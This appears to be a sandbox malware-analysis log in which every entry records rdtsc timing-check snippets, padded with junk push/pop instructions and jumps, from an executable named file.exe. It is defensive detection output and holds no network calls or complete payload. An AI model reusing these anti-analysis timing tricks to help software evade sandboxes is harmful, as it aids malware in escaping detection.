Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D81AF second address: 9D81B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D81B5 second address: 9D81BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97FAC7 second address: 97FACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC380 second address: 9DC389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFBD5 second address: 9DFBDF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2EE4744176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFBDF second address: 9DFC1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jc 00007F2EE4767542h 0x00000011 jnl 00007F2EE476753Ch 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jo 00007F2EE4767549h 0x00000023 jmp 00007F2EE4767543h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5C4B second address: 9E5C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5C4F second address: 9E5C80 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2EE4767536h 0x00000008 ja 00007F2EE4767536h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2EE4767549h 0x00000017 jbe 00007F2EE4767536h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6633 second address: 9E6639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6639 second address: 9E664E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2EE476753Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6A94 second address: 9E6AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F2EE4744178h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6C1A second address: 9E6C24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F2EE4767536h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6C24 second address: 9E6C28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA38B second address: 9EA39B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA39B second address: 9EA3A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97DF01 second address: 97DF18 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2EE476753Ah 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97DF18 second address: 97DF1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97DF1E second address: 97DF24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97DF24 second address: 97DF29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97DF29 second address: 97DF2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0B8B second address: 9C0BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F2EE4744185h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0BA6 second address: 9C0BAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0BAA second address: 9A0D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnc 00007F2EE4744185h 0x0000000e nop 0x0000000f mov dx, ax 0x00000012 call dword ptr [ebp+122D23E6h] 0x00000018 je 00007F2EE4744182h 0x0000001e jmp 00007F2EE474417Ch 0x00000023 jc 00007F2EE47441BCh 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F2EE4744180h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0D4B second address: 9C0D6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4767543h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b jnp 00007F2EE476753Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C126E second address: 9C1275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1421 second address: 9C1427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1654 second address: 9C1658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1658 second address: 9C1662 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2EE4767536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1A21 second address: 9C1A51 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 or cx, 96E0h 0x0000000e push 0000001Eh 0x00000010 sub dx, A09Fh 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F2EE4744188h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A1914 second address: 9A191A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A191A second address: 9A191E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDC5F second address: 9EDC65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDC65 second address: 9EDC89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F2EE4744181h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2EE474417Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDC89 second address: 9EDC8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE0AA second address: 9EE0BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2EE474417Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE0BA second address: 9EE0C7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2EE4767538h 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE6C4 second address: 9EE6CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE6CA second address: 9EE6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE6D0 second address: 9EE6D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F3E7C second address: 9F3E81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4023 second address: 9F404A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2EE474417Ah 0x00000009 jmp 00007F2EE4744188h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4E1A second address: 9F4E1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FB6F6 second address: 9FB71E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F2EE474418Ah 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F2EE4744176h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FB71E second address: 9FB722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA3DF second address: 9FA3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA3EB second address: 9FA3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA3F1 second address: 9FA3F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA3F9 second address: 9FA419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2EE4767541h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F2EE4767536h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA419 second address: 9FA41D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FAAA5 second address: 9FAAB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jo 00007F2EE476753Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FAAB2 second address: 9FAABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FABEF second address: 9FABF5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FABF5 second address: 9FABFF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2EE474417Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FAD3F second address: 9FAD46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9F61 second address: 9F9F73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE474417Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9F73 second address: 9F9F7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F2EE4767536h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9F7F second address: 9F9F89 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2EE4744176h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00B50 second address: A00B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F2EE4767536h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00B5A second address: A00B60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00B60 second address: A00B8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2EE4767547h 0x00000009 jmp 00007F2EE4767540h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A008F1 second address: A008F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A037E2 second address: A037EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2EE4767536h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A037EC second address: A037F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08086 second address: A080A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4767543h 0x00000007 pushad 0x00000008 jns 00007F2EE4767536h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A080A4 second address: A080AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A080AA second address: A080B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A080B6 second address: A080BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08226 second address: A0822C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0822C second address: A08230 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08230 second address: A08253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F2EE4767546h 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08509 second address: A08525 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744188h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08525 second address: A0852B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0852B second address: A08531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08531 second address: A0853B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2EE4767536h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E62E second address: A0E652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2EE4744185h 0x00000009 pop edi 0x0000000a jbe 00007F2EE474417Eh 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E652 second address: A0E668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jp 00007F2EE4767536h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jne 00007F2EE4767536h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CE61 second address: A0CE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CE67 second address: A0CE6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CFC8 second address: A0CFCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CFCC second address: A0CFD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D15B second address: A0D15F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D47E second address: A0D495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2EE4767543h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D495 second address: A0D499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D499 second address: A0D4B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F2EE4767548h 0x0000000e jmp 00007F2EE4767542h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D4B9 second address: A0D4C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D4C0 second address: A0D4C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D4C6 second address: A0D4CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D4CF second address: A0D4D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1839 second address: 9C183D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C183D second address: 9C1847 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2EE4767536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1847 second address: 9C18F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c je 00007F2EE4744176h 0x00000012 pop eax 0x00000013 pop edx 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F2EE4744178h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f sub dword ptr [ebp+122D1C44h], edi 0x00000035 sub dword ptr [ebp+1247A549h], eax 0x0000003b mov ebx, dword ptr [ebp+124858C2h] 0x00000041 jmp 00007F2EE4744181h 0x00000046 add eax, ebx 0x00000048 push 00000000h 0x0000004a push edx 0x0000004b call 00007F2EE4744178h 0x00000050 pop edx 0x00000051 mov dword ptr [esp+04h], edx 0x00000055 add dword ptr [esp+04h], 0000001Dh 0x0000005d inc edx 0x0000005e push edx 0x0000005f ret 0x00000060 pop edx 0x00000061 ret 0x00000062 jnl 00007F2EE4744176h 0x00000068 mov di, bx 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007F2EE474417Dh 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C18F8 second address: 9C1902 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F2EE4767536h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D7FA second address: A0D803 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D803 second address: A0D835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F2EE476753Eh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F2EE476753Ah 0x00000015 pushad 0x00000016 popad 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push edx 0x0000001a jmp 00007F2EE476753Dh 0x0000001f push edx 0x00000020 pop edx 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1222B second address: A12279 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744188h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F2EE474417Dh 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F2EE4744189h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c pop edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11F1C second address: A11F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2EE476753Eh 0x00000009 popad 0x0000000a jl 00007F2EE476753Ah 0x00000010 push edx 0x00000011 pop edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F2EE476753Ch 0x0000001b jmp 00007F2EE476753Ah 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A3AB second address: A1A3AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A3AF second address: A1A3CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2EE476753Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F2EE4767542h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A3CC second address: A1A3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A6C3 second address: A1A6C8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1AF31 second address: A1AF35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
